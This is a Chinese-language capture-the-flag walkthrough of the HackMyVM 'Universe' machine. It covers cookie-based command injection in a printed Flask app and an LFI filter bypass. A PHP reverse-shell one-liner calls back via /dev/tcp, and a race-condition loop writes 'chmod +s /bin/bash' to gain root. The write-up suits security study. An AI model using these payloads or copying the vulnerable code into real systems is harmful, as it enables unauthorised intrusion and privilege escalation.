簡介#
難度:困難
靶場地址:https://hackmyvm.eu/machines/machine.php?vm=Universe
Initial Access#
簡單掃一下
# Nmap 7.95 scan initiated Wed Jul 2 22:48:57 2025 as: /usr/lib/nmap/nmap -sC -sV -p21,22,1212 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.144
Nmap scan report for 192.168.56.144
Host is up (0.0032s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 95:d6:5d:68:a3:38:f7:74:87:b3:99:20:f8:be:45:4d (ECDSA)
|_ 256 11:77:31:ae:36:4e:22:45:9c:89:8f:5e:e6:01:83:0d (ED25519)
1212/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2)
| http-title: Universe
|_Requested resource was /?user=920
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
21 端口無法匿名登錄
1212 端口是 http,從 nmap 掃描結果可看出有個 user 參數
隨便訪問幾下發現 user 會隨機變動
直接 fuzz 大法,嘗試把網頁全部下載下來
for i in {1..1000};do wget http://192.168.56.144:1212?user=$i;done
最後 9 是可行的
此外我還嘗試了 wfuzz,但是沒有成功,但是理論上用 fuzz 工具肯定行得通,這裡就留給大家自行嘗試吧~
wfuzz -c -z range,1-1000 --follow "http://192.168.56.144:1212?user=FUZZ"
Cookie Exec#
根據網頁顯示,好像要傳入 cookie,但 exec 直接傳入值會報錯
於是編碼成 base64,方可成功執行命令(這塊比較難想到,靶機也沒有任何的提示)
我這裡用的是 wget rev.sh 然後 bash rev.sh 的方案
最後附上題目的源碼:
from flask import Flask, render_template, request, make_response, redirect, url_for
import subprocess
import base64
import random
app = Flask(__name__)
user_id_range = range(1, 1001)
@app.errorhandler(404)
def page_not_found(e):
return redirect(url_for('index', user=random.choice(user_id_range)))
@app.route('/')
def index():
try:
user_id = int(request.args.get('user', -1))
except ValueError:
return redirect(url_for('index', user=random.choice(user_id_range)))
if not isinstance(user_id, int) or user_id not in user_id_range:
user_id = random.choice(user_id_range)
return redirect(url_for('index', user=user_id))
if user_id == 9:
encoded_command = request.cookies.get('exec', '')
if encoded_command:
try:
command = base64.b64decode(encoded_command).decode()
result = subprocess.check_output(command, shell=True).decode()
return render_template('universe.html', result=result)
except Exception as e:
return render_template('universe.html', result="Invalid cookie value"), 500
else:
return render_template('universe.html', result="Missing 'exec' cookie")
return render_template('index.html', user_id=user_id), 403
if __name__ == '__main__':
app.run(host="0.0.0.0", port=1212)
Privilege Escalation#
端口轉發#
ss -plntu
可以看到有一個本地才能訪問的 8080 端口
於是把端口轉發出去,可以用 socat,但我更喜歡用 ssh 遠程端口轉發,因為適用性更廣
ssh -R 18080:127.0.0.1:8080 -CNfg [email protected]
然後就能直接訪問了
LFI#
頁面明顯存在 LFI,但是存在限制,試了幾個繞過後發現可以雙寫繞過,用…//…//…// 來返回上級目錄
別忘了我們有 shell,所以先在 tmp 目錄下創建一個 php 的反彈 shell,然後再包含
<?php system("bash -c 'sh -i >& /dev/tcp/192.168.56.10/4444 0>&1'");?>
訪問http://127.0.0.1:18080/?file=..././..././....//tmp/shell.php
即可拿到 void 用戶的 shell
同樣也是附上源碼:
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Void</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #fffff;
}
header {
background-color: #222529;
padding: 10px;
color: white;
text-align: center;
}
nav {
background-color: #444;
padding: 10px;
text-align: center;
}
nav a {
color: white;
text-decoration: none;
margin: 0 10px;
}
.container {
padding: 20px;
}
</style>
</head>
<body>
<header>
<h1>Void</h1>
</header>
<nav>
<a href="?file=love.php">Love</a>
<a href="?file=shine.php">Shine</a>
<a href="?file=sadness.php">Sadness</a>
</nav>
<div class="container">
<?php
if (isset($_GET['file'])) {
$file = str_replace("../", '', $_GET['file']);
$path = "/home/void/web-void/$file";
if ($file === 'shine.php') {
echo '<p>Like the stars in the universe, your inner light shines with unique beauty and incomparable purpose. Although you may feel "void" at this moment or any other time, remember that in the infinite canvas of the cosmos, every star has its place, and you, dear stranger, are a priceless star in the constellation of life. Your presence illuminates the world in ways you cannot imagine. You can still go on</p>';
} elseif (file_exists($path)) {
include($path);
} else {
echo '<p>Under construction</p>';
}
}
?>
</div>
</body>
</html>
Quasar 逆向#
sudo -l 起手
除了 Quasar 之外,這個目錄下還有一個 print.sh 腳本
void@universe:/scripts$ cat print.sh
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
umask 110
/usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"
先把 Quasar 脫下來具體看看怎麼回事
程序會比較 password 是否正確,然後執行 print.sh
今昔不同往日,直接 ida+mcp 自動化逆向就完事了~
## 程序功能分析
### 程序概述
這是一個名為"universe"的密碼驗證程序,主要功能是:
1. 接收一個命令行參數作為密碼
2. 生成一個基於數學運算的密鑰
3. 對輸入的密碼和生成的密鑰進行SHA256哈希比較
4. 驗證通過則執行shell腳本
### 詳細功能分析
#### 1. 主函數(main - 0x14f2)
- 檢查命令行參數數量,必須為2個(程序名 + 密碼)
- 如果參數不正確,輸出使用說明:"Uso: ./Quasar <password>"
- 調用三個關鍵函數進行密碼驗證
#### 2. 密鑰生成函數(sub_1219)
這個函數通過複雜的數學運算生成一個10字符的密鑰:
- 使用雙重循環(外層0-9,內層0-4)
- 在每次迭代中進行以下數學運算:
- `sin(π * n9/3 + n4)` 的平方
- `log(n9 + n4 + 3)` 乘以上述結果
- `exp(sqrt(n9 + n4 + 1))` 加上前面的結果
- `tgamma(n9 + n4 + 1)` 伽馬函數計算
- 最終將計算結果轉換為字符並存儲
#### 3. SHA256哈希函數(sub_1414)
- 對輸入的10字節數據進行SHA256哈希
- 將32字節的哈希結果轉換為64字符的十六進制字符串
- 使用OpenSSL的SHA256函數(SHA256_Init, SHA256_Update, SHA256_Final)
#### 4. 驗證邏輯
- 生成數學密鑰並計算其SHA256哈希值
- 對用戶輸入的密碼計算SHA256哈希值
- 比較兩個哈希值是否相同
- 如果相同,執行`/scripts/print.sh`腳本
- 如果不同,輸出"Error!"
### 安全特性
- 使用了棧保護(stack canary)
- 密碼驗證基於複雜的數學運算,難以直接逆向
- 使用標準的SHA256哈希算法進行比較
重現運算邏輯#
從反編譯的代碼可以看出,密鑰生成的數學運算是確定的,我們可以用 Python 腳本重現:
import math
def generate_key():
s1 = ""
for n9 in range(10): # 0 到 9
v10 = 0.0
for n4 in range(5): # 0 到 4
# sin(π * n9/3 + n4)^2
x = math.sin(math.pi * n9 / 3.0 + n4)
v5 = x ** 2
# log(n9 + n4 + 3) * v5
v6 = math.log(n9 + n4 + 3) * v5
# exp(sqrt(n9 + n4 + 1)) + v6
x_1 = math.sqrt(n9 + n4 + 1)
v7 = math.exp(x_1) + v6
# tgamma函數處理
v3 = n9 + n4 + 1
if (n9 + n4) < 0xFFFFFFFE and (n9 + n4) != 0:
v3 = 0
# tgamma(n9 + n4 + 1) * v3 + v7 + v10
v10 = math.gamma(n9 + n4 + 1) * v3 + v7 + v10
# 轉換為字符
char_val = int(100.0 * v10) % 10 + 48 # 48 是 '0' 的ASCII
s1 += chr(char_val)
return s1
# 生成密鑰
key = generate_key()
print(f"Generated key: {key}")
# 計算SHA256哈希
import hashlib
hash_value = hashlib.sha256(key.encode()).hexdigest()
print(f"SHA256 hash: {hash_value}")
密碼就是 9740252204
寫入競爭#
print.sh 腳本的內容如下:
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
umask 110
/usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"
/usr/bin/rm "$tmp_file"
該腳本執行了以下操作:
- 使用
mktemp
命令在/tmp
目錄下創建了一個臨時文件,其名稱以read-
開頭,後面跟著五個隨機字符。 - 在一個子 shell(由
(
和)
包圍)中,首先使用umask
命令設置了文件創建掩碼為110
,這意味著新創建的文件將具有 556 權限。 - 回到主 shell,將字符串 test 寫入臨時文件。
- 使用
cat
命令讀取臨時文件的內容,並將其存儲在變量data
中。 - 最後,使用
eval
命令執行data
變量中的內容,並刪除臨時文件。
在腳本中,命令是逐行執行的,這意味著在 eval 執行之前存在一個時間間隔。如果能夠在這個時間間隔內覆蓋臨時文件的內容,就可以注入並執行任意命令。
另起一個終端,然後執行以下命令
while :; do a=$(ls /tmp/read-* 2>/dev/null | head -n 1); if [ -n "$a" ]; then echo 'chmod +s /bin/bash' > "$a"; fi; done
原理很簡單,就是通過一個死循環,不斷監測 tmp 下的臨時文件(搭配通配符),一旦存在,就向其中寫入提權命令
最後也是競爭成功,拿到 root 權限!
後記#
Universe 靶機設計得非常不錯,是一台綜合性很強的靶機。雖然它被標記為 “困難” 難度,但我認為整體難度不算特別高,攻克過程較為順暢,就是一步步推進就完事了,除了 exec 那裡要 base 編碼以外沒有其他難想到的點。特別是最後的提權階段,利用 print.sh
腳本的競爭條件漏洞設計得非常精妙,為整個挑戰增添了亮點。總的來說,這是一台非常值得一試的綜合性靶機!